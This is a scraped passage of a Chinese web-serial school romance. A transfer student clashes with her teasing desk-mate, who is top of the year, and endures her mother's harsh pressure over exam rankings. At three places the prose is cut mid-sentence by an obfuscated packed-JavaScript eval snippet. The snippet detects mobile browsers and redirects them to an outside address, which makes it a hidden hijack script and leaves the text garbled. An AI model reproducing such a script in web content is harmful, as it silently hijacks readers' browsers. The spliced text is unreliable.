开学第一天,整座学校吵吵闹闹,哄成一团,走廊上更是喧嚣,一路走到尽头,闹腾更加明显。 老俞的步子也忽然变得悄声无息起来,步子小而缓,沿着窗户边一路审视过去。 窗户下侧贴了单向防窥膜,外面能看见里面,里面则看不见外面,只有注意看时,才能依稀看见一个黑影。 陡然间,老俞停下步伐,神情捉摸不定地盯着窗边的一个皮肤略黑的男生。 班级似乎观察到老俞来了,忽然变得格外安静,每个人都很忙地做着个字的事,迅速开始假作在学习。 男生的同桌踢了男生一脚,男生浑然不知,摆摆手,又埋头看着桌肚里的小说。 窗户“咻——”地被推开,如变魔术般有人从他手中夺走了小说。 这位高壮微黑的男生愣了一秒,随即跳起来,看见了窗户外正对着他,面无表情着的柳向晚。 葛伟脱口而出:“大小姐——” 接着脑子一懵,才反应过来自己说了什么,男生想起自己被收走的小说: “不是,你拿我小说干嘛?” 柳向晚盯着他:“你认识我?” 她话音未落,葛伟就看见了站在柳向晚旁边,黑着一张脸的老俞。 “……” 葛伟安静如鹌鹑。 “葛伟,还要我说几遍。上学就要有上学的样子,别天天看不该看的书。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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台上,老俞在班里训了几句之后,又匆匆离开班级,抱着刚刚收走的小说,去办公室准备开学惯例的级部主任广播发言。 老俞一走,班里细水流长地恢复了喧哗。 又没过一会,班里后门被推开,一沓厚重的资料放在了地上,溅起些许细灰。 少年身形高大,拍了拍身上的灰,向前走了点,一把拽住了坐在最后一排的葛伟的板凳,往后拖了点距离。 葛伟大叫:“活爹啊你,徒手拖板凳。” 梁旭很受用地点头,不要脸道:“诶,儿子。” 葛伟:“……” 梁旭拍了拍他的肩,笑眯眯地从地上取了一摞书给葛伟,“走了儿子,发书去了。” 班里闹闹哄哄,少年穿梭在拥挤的走道中,各自按组发放着课本,速度很快,默契十足。 很快发到了第四组,柳向晚闻声抬起头来,恰好少年将课本放置在她桌上。 视线在半空中相撞,两个人各自怔住。 梁旭:“?” 柳向晚:“?” “你怎么在这?” “你怎么在这?” 柳向晚率先反应过来,大小姐脾性上来,不爽道:“我为什么不能在这。” 她说完这话,又看了一眼座无虚席的班级,瞬间意识到,面前的这位“梁大帅”应该就是她的同桌……甚至称呼为“梁旭”更合适。 柳向晚:“……” 这下,真是屋漏偏逢连夜雨,船破又遇顶头风。 她怎么也没想到,前两天刚背后吐槽完梁旭本人,后脚就发现她居然是在本人面前吐槽的。 但作为大小姐,反省自己是不可能的。柳向晚对这人的印象一下子跌到低谷,她冷着脸道:“你不是说你叫梁大帅吗?” 梁旭:“……” 眼神虚晃地飘了几秒,梁旭面不改色,斯文有礼地笑了下:“那是我小名。” 4. 文学城独家发布 葛伟正巧发完手上书,凑过来听到了这话,他搭上梁旭肩膀,怀疑地看着自己认识十几年的兄弟,不解问: “旭子,你啥时候多出个小名?” 梁旭:“……” 柳向晚:“……” 此时无声胜有声。 梁旭笑了笑,拉过葛伟,手掐住男生的后颈,慢悠悠揉捏,语调听不出意味,不紧不慢地在人耳边吹了口气:“你不知道吗,我不是一直有这个小名吗?” 少年挑眉,语气漫不经心似带威胁:“要不改天你来我家,我告诉你一下我别的小名。” 葛伟一个激灵,瞬间明白这狗旭他喵地骗小姑娘玩呢,他横插一脚干什么。 他自觉往后退,干巴巴地笑:“哈哈这就不用了,你又不是不知道我,记性不好,你小名那么多我哪记得的。” 说着,葛伟转头对柳向晚保证:“妹子,你信俺,我说的都是真的,旭子他确实有个小名叫大帅。” “是吧,大帅。” 梁旭面无表情,长腿踹了过去,“滚,喊我大名。” 见少年表情不爽,柳向晚心情瞬间愉快起来,她唇角轻扬,心想,真是天公作美,也是轮到这人吃瘪的时候了。 她不再理会两人,舒畅地拿起笔,在自己新发的课本上,洋洋洒洒写下自己的大名。 梁旭看了一眼少女身后严丝合缝的空间,顿了下,没自找麻烦,而是敲了敲后桌桌子,后桌拉着桌子往后退了点,梁旭顺利地进到了自己的位置,顺口说了声谢谢。 柳向晚闻声抬起头来,又再次对上了男生的视线。 梁旭收回目光,眼皮也没抬:“没和你说。” 柳向晚:“……” 心里怒意大涨,少女暗自吁出口气,努力压下想要撕破表面和平的冲动。她冷静地告诉自己,别跟着这种人计较,她是谁啊,她柳向晚,会和这种人计较吗? 他喵的!不行,受不了! 柳向晚冷冷道:“我也没和你说话,你自作多情什么。” 梁旭看着她愣了下,半响后没忍住喉咙中溢出一声低笑。 忘了这位是个大小姐。 他懒洋洋靠上椅背,手指随意地揉了揉头发,露出额头来,抬眼看向柳向晚,有点好笑又有点无奈地开口解释:“抱歉,没冲你。” “刚才是在解释,可能语气没注意,欠了点,抱歉。” 刚升起来的火气猛然被少年扑面而来的一盆水浇得只剩下黑烟。 柳向晚:“……” 这让她怎么做题发挥。 她摸了摸鼻子,别扭地冷哼了声:“下次注意点。” 梁旭忍笑:“遵命,大小姐。” 两人相安无事了没十几分钟,年级广播响起,老俞作为级部主任日常说起了开学的注意事项,说完之后,没几分钟,又抱着试卷出现在班级。 “来,把桌子分开点。”老俞将试卷分为几份,从前面传了下来,“开学的第一场考,都给我端正态度好好写。” 试卷被一一分发了下来,柳向晚将试卷拿在手里,快速地扫了一遍题目。 虽然是转学后第一次参加考试,但柳向晚并没有多少忐忑不安,反而有种家常便饭般熟悉。在没进一中之前,这个暑假,程辛就替她找好了家教老师,辅导她学业,将原先松散的暑假安排的紧紧当当,如同在学校学习般繁忙。 正当她拿起笔,打算在试卷侧边填上自己的姓名时,胳膊忽然被人戳了下。 柳向晚转头一看,见梁旭摊开手掌看向她,手上空无一物,桌子上更是除了试卷什么都没有。 梁旭微不可查地叹了口气:“同桌儿,忘带笔了,能借支吗?” “你没带笔?” “是啊,只记得带暑假作业,”梁旭懒洋洋耸了耸肩,拖着语调笑,“结果忘带笔了。” “能借我支用用吗,大小姐。” 少年直勾勾看向她,说话时因为老师在班级特意压低了声调,落在耳边听起来低慢而缱绻,像是在故意诱引人沉醉。 眼神则干净纯粹,点缀着明显的笑意,望向人时,像极了只会摇尾巴的傻白甜大狗。 柳向晚不自在地别开视线,仿佛并不吃这套,她抬起点下巴,嘴硬道:“不借。” 行吧,她承认她就是小气吧唧,但她就是不借给梁旭笔怎么了,谁叫他忘带的?柳向晚一边想着,一边手指不自觉地摸上笔袋拉链,拉开,掏出了一支黑笔,准备递给梁旭。 而她再一转头,就瞥见梁旭手上迅速地多了一支笔。 柳向晚:“……” 柳向晚:“你不是说没笔吗?” “是啊。”梁旭点头,晃了晃手中的笔,两条长腿散漫地支在地上,将板凳微微后仰,连带着后桌男生的面容,一齐进入柳向晚的视线中。 后桌男生灿烂一笑:“嘿嘿,我借给梁旭的。” 柳向晚:“……” 梁旭的目光则看向柳向晚手中拿着的笔,柳向晚自然也注意到,她下意识掩耳盗铃地攥紧了手中的笔,又嫌不对劲,飞快地将笔重新塞回了笔袋。 原先还有点不确定这笔可能是给他的,少女这一番心虚的举动简直不打自招。 梁旭乐了,很轻地笑了下:“这是打算借我的吗?” 少女冷着脸:“不是。” 她也发现了自己的动作有点不打自招的意味,于是又将笔从笔袋中拿了出来,光明正大地放在桌子上。 柳向晚声音没什么温度:“我单纯乐意考试两支笔换着用。” 瞧着少女一副冷言冷语的模样,梁旭唇角没忍住地翘了翘,心说,那你刚才收回去干什么,给笔安个家吗。 但他没拆穿人姑娘,哄人般顺着说:“成,是我多想了。” 说罢,梁旭转了一圈手中的笔,忽然想了什么,低声开玩笑道:“不过,你这诅咒还挺准。” “说诅咒我考试忘带笔,我真就没带。” 柳向晚自然记得自己之前说过什么,她冷淡地瞥了一眼少年,嘲讽道:“呵呵,那更好,祝你越长越丑。” 梁旭“啧”了一声,摸了摸脸,慢条斯理地笑:“那恐怕要让你失望了。” 台上的老俞见试卷发完,目光环视过班级,自然看见了正在说小说的同桌俩人。他敲了敲桌子,语气严厉:“有的同学啊,新学期培养同桌感情,我不反对。” “但也要分清场合,现在是考试,不要眼睛都长到别人试卷上了。” “……” 这说的谁俩不言而喻。 瞬时间,柳向晚耳朵臊一下红得发烫,她往日都是老师眼中的乖乖三好学生,从未被批评过,只有被夸赞的份。 现如今,被老俞隐姓埋名批评了几句,柳向晚尴尬地简直不敢抬头,只好狠狠地瞪向梁旭一眼,更加坚定跟这人坐在一起,只会耽误了自己的学习。 遂而不再说话,转头专注于自己的试卷去了。 早上阳光正好,暖洋洋的夏风从窗户缝中吹出,刮在脸上,泛起痒痒的感觉。柳向晚抬手将发丝勾到耳后,眼皮情不自禁有点犯困,头也滴答滴答地垂着。 硬撑了半响,柳向晚呼出一口气,揉揉脸,端起水杯喝水,试图清醒一两分。 同时心里也忍不住吐槽,开学第一天就考试,真是人能做出来的决定吗? 她重新拿起笔,正要埋头苦写手下的卷子时,无意瞥见了旁边已经睡着的梁旭。 柳向晚:“……” 柳向晚:??? 他怎么睡得着的! 他这个年龄段!这个阶段睡得着觉,有点出息没有! 少年不仅没有丝毫自觉,反倒睡得很香,清透的阳光从窗台洒下,少年抵在墙边,右手懒洋洋搭在脖颈处,半遮半掩地露出上半张脸,眼睛好似睁着,又好似闭着,眨速频率过高像翩翅而飞的蝴蝶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287060|166948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 冷风吹过,掀翻他柔软的碎发。 他约是感受到了,伸手轻轻地拂过,阻止风的恶作剧,明颤的光线在少年手中交缠,给他整个人蒙上了一层层薄薄的光影,似神明般淡然。 柳向晚心底只有默默的嫌弃,丝毫没有注意少年的帅颜,甚至开始怀疑,这真是老俞口中的年级第一同桌吗,而不是中途给她换了货? 但转念一想,也挺好,如果年级第一真是梁旭这样,他睡觉,她学习,她拿下年级第一的日子也就指日可待了。 柳向晚低下头来,认真写起试卷来。 考试紧凑地考了一整天,将六门课考了个完全。 虽然是开学第一场考,但老俞藏了想要敲打同学们玩了一个暑假飞野了的心,特意拔高了试卷难度,写得大部分人情不自禁怀疑起,自己一个暑假真退步那么多吗? 柳向晚也不例外。 她深知自己并非璞玉,只能摒弃懒惰,凭借日复一日的努力,不断学习,改进学习方法,用最笨的法子,让自己艰难地迈入天才行列。 手下的笔越攥越紧,时间也过的飞快。 直至老俞说考试结束,大家交卷的那一刻,柳向晚的心脏才像跳崖般狠狠落回地上,连同她那自傲的自信心。 柳向晚将卷子交到前排,不自觉的放空,神识游离在人群之外,因此丝毫没注意到自己的同桌被老俞叫去了办公室。 办公室内。 老俞抱着试卷开了灯,又低头将破败的风扇打开,再次发出吱呀吱呀的笨重金属摇晃声。 听得梁旭忍俊不禁,直言提出要给老俞换个风扇。 老俞白了他一眼,说不用,但一顿,又道:“算了,也行,但不是现在换,我等你高考考完,考上池大了之后给我换。” 梁旭笑:“那可要等好久,说不定到时候我就忘记了。” 老俞没在意这个点,拍了下他背,让他站正,说忘了就忘了,随即又话锋一转翻起了早上的旧账。 “梁旭,早上语文考试怎么睡着了?” “唉,这不是喝了咖啡太提神,提神到忍不住就睡了。”梁旭懒洋洋站直了身子,坚持没半秒,又松散地靠在桌子旁。 老俞冷哼一声,拿书又轻轻拍了一下男生,“一天天净胡说八道了。” “哪个牌子的咖啡能让你越喝越困?” 梁旭双手举起,自证清白:“那必须是《高中数学联赛精选题》啊,昨晚抱着它写的太入迷,今早就犯困了。” “《高中数学联赛精选题》?”老俞挑了挑眉,故意试探他,“写到哪一章了?” 梁旭唇角微扬,装模作样地叹了口气:“好像是第八章吧,记不太清了。” 老俞冷哼一声,无奈地摇摇头,语气缓和下来:“竞赛虽然重要,身体也要顾着,平时的学习还是要和联赛之间平衡好。” 梁旭点头,说知道了,俞老师。 老俞满意地点点头,关心完梁旭联赛的事之后,便又说起他的新同桌柳向晚。 老俞睨了他一眼:“和新同桌磨合的怎么样。” 这边,梁旭站累了,靠在另一侧的桌子上,双手反手撑在上面,姿态散漫地笑了笑。他是个聪明人,一听这话就明白老俞这次找他来,怕是想说的重点就是这回事。 他漫不经心地敲了两下桌子,随口道:“还行吧。” 换个同桌也行的那种还行。 老俞见他没有不满,随之说了真正要说的话题:“嗯,可以。柳向晚她刚转学过来,难免会有点不适应,你作为同桌,没事主动帮两把,别老欺负人小女生。” 嚯,他欺负她?梁旭波澜不惊地敲着桌子,心想,这还真是找了个大小姐坐同桌,连班主任都要特意叮嘱他了。 他懒懒散散地笑:“行啊。” “伺候大小姐,我擅长。” 顺便还擅长让她知难而退,主动提出换个同桌的那种擅长。 5. 文学城独家发布 从老俞办公室出来时,学校的人流已经走了大半,灯光暗下来,只剩下几盏声控灯时不时的亮一下,像极了鬼片里的场景。 偶尔有一两学生从楼梯口走出,侧身从梁旭身旁经过,前往生活区。 梁旭则逆着他们的方向,去了班级,他不是住校生,因此晚上还要背着书包回家。 到班级时,葛伟已经靠在门口,拎着梁旭的书包,正不耐烦地等着他。 “怎么才来,”见到梁旭人,葛伟赶紧将书包甩回他本人,“等你老一会了。” “这不是老俞太能拖了么。” 轻松在半空中接住书包,梁旭随手将其挂在肩上,又捋了捋额前的碎发。黑夜浓厚,看不太清少年的神情,只是意外地发觉他似乎有点不对劲。 但这种不对劲很淡,只顷刻间反应了下,就消失得无影无踪。 葛伟眯着眼打量他,“咋了,心情不好?” “老俞发现你暑假作业没写完了?” 梁旭轻笑了声,他睨了眼葛伟,“你觉得可能吗?” “那什么事?” “没什么事,安排我伺候大小姐而已。” “大小姐?”葛伟愣了下,随即反应过来,这说的是梁旭那位新同桌。他咂巴一下嘴,道,“那个柳向晚?她看着确实跟大小姐似的,脾气不算太好啊,你可有的受了。” “还行吧。” 梁旭将手中的钥匙抛至在空中,钥匙扣似流星般飞升,又飞速地落至在少年手中,砸出轻微的痛感。他捏着圆环,不知道在琢磨什么,半响扯唇笑了下。 “不过,我在想,要不要让那位大小姐知难而退,自己主动换座位。” “怎么让她知难而退。”葛伟好学地请教。 梁旭乜了他一眼,故意拖长语调,结果等了好半响懒洋洋说了句:“没想好——等我先观察几天。” 葛伟瞥了他一眼,心里叹了口气。 其实,他也懂自己兄弟,知道梁旭最烦别人安排他做事。不安排还好,梁旭一高兴,主动就做了。但人一安排,梁旭抹不开情面,不好意思拒绝,一面不想答应,一面又不得不答应。这他喵多少有点讨好型人格,葛伟偷偷评价着他兄弟。 但这种讨好也只在底线范围内,若真是他不想做的,梁旭就会用巧妙的方式,让对方自己不想让他做了。 “行啊,狗旭。”葛伟锤他一拳,“你可真有够不做人的。” - 日子过得缓慢,一周过去,也没见梁旭观察到哪去,对柳向晚态度不冷不淡,柳向晚对他的态度也是敬而远之,两个人大部分互不搭理,跟搭伙过日子的夫妻似的,貌合情离。 葛伟作为旁观者,倒是看热闹不嫌事大,天天怂恿着问梁旭:“旭子,你不是说设计人大小姐主动提搬走吗,怎么还不见影。” “别着急。”梁旭淡淡吐出三个字。 葛伟挑眉笑,“别,我这看大戏的可着急着呢,就想看看,是大小姐先受不了,还是你先绷不住。” 梁旭没理会他的调侃,依旧我行我素,跟柳向晚保持着相敬如“冰”的状态,没有半点动静。 直至周四,开学考的成绩单发了下来,人手一张灰不拉几的排名表。 柳向晚接过前面发来的纸,手里下意识不安地摩挲着粗糙的纸张,翻开,一眼看见了自己的成绩。 第十二名柳向晚604分 心脏好似紧紧地缩了一下,她沉默着视线看向第一名的成绩。 第一名张之筱658分 五十四分的差距。 忽然间,心头上好像压了一块重石,令她喘不过气来,柳向晚反复看着这两个数字,只觉越来越刺眼。 刺眼到,一瞬间,她心生想要撕碎排名表的想法。 但这种想法只短暂的存在了一瞬,身后桌子拖动的声音响起,柳向晚反应过来这是在学校,她沉默地收起排名表,将它随手插在桌洞中,镇定地翻看起下一节课要上的内容。 只是心里在想些什么,只有她自己知道。 梁旭坐回位置没多久,上课铃便打响,英语老师李珊拿着昨日写的英语报纸轻快地走进了班级。 “把报纸拿出来,今天讲一下昨天写的作业。” 班级里响起翻动纸页的沙沙声,柳向晚从桌洞中抽出了报纸,又将顺带抽出的排名表再次塞回了桌子中。 她眼睛落在题目上,耳朵里听着老师的讲解声,但很快思绪再次飘到了刚刚看的排名表上。 手里执的黑笔在报纸上泅出深深的墨渍,柳向晚始终没想到,自己和第一名的差距会有那么多。 她想过,她也许不会一蹴而就,轻松地拿到第一名。 但她没想过,会有那么大的差距。 心里乱成一团糟糕的麻线,柳向晚早已魂不守舍,听不清老师在说些什么,满脑子想着自己为什么会和第一名有那么大的差距,差距又在哪里,是哪一门课她落后了,她又应该怎么提升。 柳向晚强迫着自己静下心来,专注听老师讲课,却始终无法专注。 目光无法平静地望向桌洞中的成绩单,它安静地躺在那里,像一根刺一样扎在她的心中。 忍耐半响,少女手指划过桌洞,抽出了那张成绩单,铺在了报纸后面,用视线安静地一遍又一遍扫视着。 语文,第一名136,而她只考了117。 数学,第一名135,她考了132。 …… 一行一行地反复比对,计算差距,如自虐一般。 不知道反复看了多少遍,几乎要将第一名和自己的分差背下来之后,耳边忽然响起一道勾着笑意的男声。 “成绩单那么好看,能看的如痴如醉?” 梁旭撑着脸,眼里夹带着些许笑意,懒散道。 “……” 柳向晚愣了一下,迅速反应过来,“咻——”地收起了成绩单。她有种被人抓包的难堪感,耳根情不禁红透了,咬牙瞪他:“听你的课。” “我在听啊,这不是看某人没在听嘛。”少年似有似无地笑了下。 他语气轻松惬意,只是一句淡淡的玩笑话,但落在柳向晚耳里,却好似嘲笑她这次考试没考好,跟她态度不端正有关。 少年眼神清朗,而正是这种清朗,让人有种自己被看透的错觉。 柳向晚紧紧抿着唇,为了不让少年看出自己的不堪,她反驳道:“才没有,我只是随便看了两眼。” 梁旭掀起眼皮,挑眉笑了笑,他似乎听了什么笑话般,语气闲而淡:“你手上的墨渍都快把分数抹掉了,装什么呢?” “……” 柳向晚沉默两秒,抬手一看,果真看到了糊了一层的墨渍。 少女一下子熄了火气,只好愤愤拿起桌洞的湿纸巾擦着手上的墨渍,顺带嘴硬地回击。 “那又怎么样。”柳向晚瞥他,“我看我看我就看,怎么看,超过你,都手拿把掐!” “行啊。” 少年眉梢抬起了点,懒洋洋勾着唇角笑,语气轻飘飘:“我拭目以待。” 梁旭的挑衅似火上浇油,令柳向晚气得牙痒痒,一时间也想不起来什么考差没考差了,一门心思冷静地听老师讲课。 一天的课程就在这样的冷静中结束的飞快。 柳向晚回到家,拖着疲惫的身体正想上楼时,程辛喊她来了书房。 书房内,程辛坐靠在椅子上,语气严厉,似乎已经笃定答案:“成绩出来了吧,考了多少。” 柳向晚一听,便知道程辛已经知道了她考多少分的实情,明知故问不过是为了让她亲口说出来。用自己说出成绩的方式击溃她的自尊,更让她意识到自己考得不好。 “你不是已经知道了吗,还要我复述什么。”柳向晚并未如她意,冷漠抬眼,抗拒道。 程辛眉头一下子皱了起来,语气也随之尖锐起来:“那你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287061|166948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得你考这个分数对得起谁,暑假给你补了整整两个月的课,七八个家教老师轮着教你,最后就考个班级十二!” 柳向晚抿紧了唇,一言不发。 “柳向晚,这只是开学的第一场考,你就考成这个样子。再这么下去,是不是之后更要掉队,我看你也别上什么火箭班了,直接转回国际班,混吃混死等着我送你出国!”程辛冷冷道,语气里是毫不掩饰的失望与恼怒。 指尖狠狠掐入手掌心,柳向晚低着头,感到胸口堵得发涩,令她呼吸不运作。 “你们班这次考第一的张之筱,之前成绩也只是中游,为什么人家能考到658分?”程辛步步紧逼,声音愈发刺耳,“柳向晚,你的努力去哪了?为什么就你不行?” 这句话像一根刺,深深扎入柳向晚的心脏。 她什么也说不出,甚至自己也在这么想,这是为什么,是她不如别人吗? 程辛说着,忽然伸手一把扯下她的书包,不顾柳向晚的反抗,直接检查起她的书包来。 柳向晚试图夺回自己的书包,“你干什么!” 程辛丝毫不理会,在书包夹层中翻出几颗没吃完的巧克力,冷笑一声,将巧克力甩在桌上,“这就是你的学习态度?带着巧克力去学校偷吃,当去学校是享福的吗?” 一瞬间,气极反笑,柳向晚冷冷抬起眼,直视着母亲,只是眼眶已经有了湿意,她垂头闭眼:“我带巧克力是预防低血糖。” “低血糖?”程辛一听,声音立刻拔高,“借口倒是编得顺溜!考得不好就是没努力,你以为你在演戏吗?谁会信你!” 柳向晚愣了下,仿佛被这话狠狠打了一巴掌。 她努力止住处在崩溃边缘的成绩,平静道:“我已经努力了,你以为我不想考好吗?” “你还要我怎样,要我去死吗?” 这话一出,好似压抑好几天的情绪,终于在此刻爆发出来。柳向晚捡起书包,头也不回地离开书房,回到自己房间。 直至到自己房间,柳向晚将书包甩在桌子上,才敢去洗漱间压抑地哭出来。 眼泪噙在眼中,她望着天花板,却在想,如果有一天能搬出家里,自己一个人出去住就好了,再也不受程辛的管教。 但现实终究是不可能,柳向晚擦干泪,又趴回桌子,开始刷题。 夜深了,灯光幽暗地亮在房间中,太阳又悄然无声地升起,又到了上学日。 程辛的话始终像是一颗安在心脏上的定时炸弹,时刻滴滴答答,响彻于大脑之中。柳向晚一天下来,都感觉心烦意乱,无法完全静下心来学习。 正巧下午体育课,体育老师外出去别的学校培训,体育课改成了自习。 自己一个人学习的时候,心烦意乱的感觉更加明显。 柳向晚长长吁出口气,看见了旁边正在打游戏的梁旭。 今天周五,班里不少走读的同学都偷偷带了手机,而恰好这节自习课,又没老师看堂,很多人都拿出了手机开始玩。 梁旭更是明目张胆地坐在她旁边,手里捧着手机,跟朋友连线玩游戏,时不时还听见后桌踢他板凳,喊他,旭神,快救我。 少年的悠然自得,可以说和柳向晚的学习焦虑形成了鲜明对比。 也不知是不是情绪积压了一天,本来就不爽,再加上听见梁旭和其他同学打游戏的声音,柳向晚只觉得更干扰学习。 “你能不能不要玩手机了。”柳向晚声音带着隐忍,压低语气跟他说。 “你有意见?”梁旭散漫地掀起眸来看她,闻声轻笑了声,语调懒洋洋的。 柳向晚直言:“是,你要是不学习,能不能别耽误别人学习。” 听了这话,梁旭更是笑了一下,他漫不经心地关了手机,也没管屏幕里的游戏是不是还在进行,很欠揍地轻笑,“不好意思啊——我改不了。” 他故意激她:“你要是不习惯,可以找别人坐同桌,没人拦你。” 6. 文学城独家发布 少年的话似平地一声雷,惊起四座。 四周听到这话的同学闻言都扭头看向他们,试图观战开学第一场的同桌大战,同时也小声和自己的同桌蛐蛐着他们俩之间究竟发生了什么。 柳向晚当即怒了一下,忍无可忍,直言道:“你以为我不想换吗,谁想和你坐同桌。” 没想到此话一出,少年愣了下,随即掀起眼眸,眼里是忍不住的笑意,在明媚夏光下,一双笑眼更加明显璀璨。 “行,你想。”梁旭敛住稍许唇角的笑意,只是仍能听出愉悦感,“那走吧,我们去找老俞换座位。” “……” “?” 为什么莫名有种上钩了的错觉。 柳向晚眨巴了下眼睛,心里猛然间恢复了冷静。 不行,现在还不是换同桌的最佳好时期。 她得忍耐。 如果现在换同桌,程辛当晚就会知道她私下找了老师换同桌,肯定觉得她是在忤逆程辛的安排。到时候她一回家,几乎是可以预见程辛的脸色会有多难看,甚至严重一点,她还可能要被罚去阁楼跪一晚上。 她微微抿唇,指尖下意识地蜷了蜷。 见少女忽然沉默,梁旭轻轻“啧”了声,他拖着语调,慢条斯理地挑着唇角笑,语气意味不明:“怎么,后悔了?” 柳向晚察觉到一丝不对劲,她眯了眯眼,怀疑地看向梁旭:“不是,你激我呢?” 梁旭单手撑着下巴,神色无辜,唇角微扬起:“啊,我有吗,我没有吧。” “呵——” 柳向晚这会儿已经恢复了大小姐的冷静感,前几天事情太多,又多是让她不愉快的事,积压在心底没出口,才让她一时昏了脑子,现在才反应过来,梁旭这厮在绕着弯套路她呢。 她眨了眨眼睫,瞬间换了副模样,声音低了几分,带着点委屈:“是你不想和我坐吧。” “我很明理的。”少女垂着眼,语调低低的,语气措辞都显得克制,“你要是不想和我坐,可以找别人坐同桌,没人拦你。” “……” 这几乎是把少年刚刚对她说的话,又原封不动地还了回去。 梁旭失笑一声,他喉咙中慢悠悠道出一声笑,故意拖着语调说:“大人,怎么清白无辜地冤枉草民啊。 “我几时敢有这样的心思?” “您不知道吗,我这个人啊——”少年唇角蓦然一松,笑得干净又明亮,“最喜欢和大小姐坐了。” “……” 柳向晚犹如雷劈。 一个“忍”字当头。 柳向晚憋红了脸,试图想怼他,但想了半天,额额讷讷地说不出话来,只好恶狠狠地瞪了他一眼。 要不是顾忌着程辛,她真想时时刻刻找老俞换同桌。 这帅哥谁爱坐谁坐吧,她是不坐了! 见少女憋着气不理他,梁旭支起下巴,撩起眼眸,慢吞吞看过柳向晚,嘴角是没藏住的低缓笑意。 这大小姐逗起来还挺好玩。 一节自习很快过去,梁旭也没再玩手机,抽出了竞赛题开始认真地写。 事实上,他玩手机,本来就是为了故意让柳向晚看不惯他罢了。毕竟,坐了一个多星期,梁旭多少也摸清了旁边这位大小姐的脾气,是个一丝不苟的认真学习派,眼里容不得半点沙,更别说有人耽误她学习了。 事实证明,他的判断完全正确的。 只不过梁旭不知道,柳向晚虽然想换同桌,但还是受制于母亲程辛的要求之下,想换,但不能换。 下节课是物理老师杨小帆的课,大家一般叫他小帆哥,是个瘦瘦弱弱,年纪轻轻就已有秃头倾向的男老师。 他一走进班级,就仿佛来了一颗安眠药,催睡了班级所有同学。 小帆满面春风,同学们满脸睡意。 也不知巧还是不巧,小帆讲完上节课没讲完的知识点后,布置了一下周末的作业,便说起了课堂训练册,题目一讲,睡意更是波涛汹涌而来。 一时间,班里昏到一大片。 柳向晚认真地记录着老师讲的要点,从全对的作业抬起头来,再次发现,自己的“年级第一”同桌睡着了。 柳向晚:“……” 这,这真是年级第一吗! 少年趴在桌上睡觉时,要比平时散漫松垮的样子乖很多,眼睛安静地闭着,一只手半扣在后脑上,遮住一小半脸。 他体型劲壮,类似游戏中典型的成男体,睡着时,因为体型差距上的压迫感要少了很多,多了两份温顺,平日里的入侵感也不散而消。 柳向晚抿了抿唇,第一次认真审视过自己这位新同桌。 窗台上,奶黄色的窗帘被风呼啦呼啦卷起到外面,光影明晦交替,梁旭垂着头,睫毛长而浓,落下柔软的阴影,侧脸轮廓立体,似丹青画勾勒过般俊秀。 他睡得不算安稳,遽然变了姿势,手肘轻轻擦过了柳向晚的手臂。 阵阵凉意瞬间在方寸之地传来微妙的触感。 柳向晚陡然回过神来,水笔掉落在桌上,她轻轻捡起,再回头,只见少年的睫毛轻轻颤了下,依旧纹丝不动,呼吸声如潮水般轻而柔和,沉沉睡着。 她扭头回去,梁旭顿了半秒,也半梦半醒地摸着脖子,坐直身体。 他视线同样落到少女身上,微微打量着。 没等他反应,小帆站在台上,幽幽地传来声音: “来,梁旭说一下这题选什么。” 梁旭:“……” 他无奈地站起身,瞬间遮住一大半阳光,落下一大片黑影,他拿起桌上的作业,扫了一眼黑板,空的,再扫了一眼作业,是不知道讲到哪题的。 梁旭轻咳一声,懒洋洋扯了下唇,正要直白问小帆讲到哪题时,忽然对上了柳向晚抬头望过来的视线。 瞬息间,好似两颗星星在无尽宇宙中相遇。 梁旭:“……” 柳向晚:“……” 两人对视不到一秒,迅速移开了各自的目光。似乎相互都有点嫌弃。 梁旭笑了下,自然以为大小姐特意看他笑话的,正要再度开口时,就听见一道小声的“34题,选A。” 是柳向晚的声音。 “?”梁旭下意识看向她,却只看见一颗漆黑的后脑勺,少女低着头,手里拿着笔,气质冷淡,冷淡到仿佛刚才报答案的不是她一样。 无声笑了笑,梁旭他真诚地选择了相信自己的同桌,即刻答:“选A。” “说一下过程。”小帆道。 梁旭微顿片刻,扫了一眼题目后,便顺利地说出了解题思路。 少年思路正确,说的也算详细,杨小帆无意刁难他,说了两句开学是比较容易犯困之后,就让梁旭坐了下来。 梁旭坐下来,瞥了一眼正在认真听课的柳向晚,顿了下,没打扰她。 直至下课铃响起,杨小帆离开了班级。 目光再次落到少女身上,梁旭诚恳感谢:“上课的时候谢谢你了。” “……”柳向晚瞥了他一眼,故意面无表情,仿佛不经意地道,“哦,你别多想。” “我报给狗听的。” 梁旭:“……” - 转眼,便到了放学时刻。 今天周五,班里不少住宿的学生早已将箱子拖到了班级外面,下课铃响起,直接拖着箱子冲刺到校门。反倒是走读的学生不急不慢,三俩成群,勾肩搭背地离开了班级。 早上程辛说了,放学是她来接。因此,柳向晚特意很慢地收拾着书包,直至班里人走了一大半,才从班级出去。 但怎么躲,终究还是要见程辛。 在校门口,柳向晚轻而易举地找到了程辛的车,她没坐前排,而是拉开了后座的门,喊了一声妈妈,就低头将书包放在身侧,又打开窗户,看向外面。 这会儿,路上正堵,到处都是开着车来接回家的家长,车流川流不息,只能看见无尽的红尾灯。
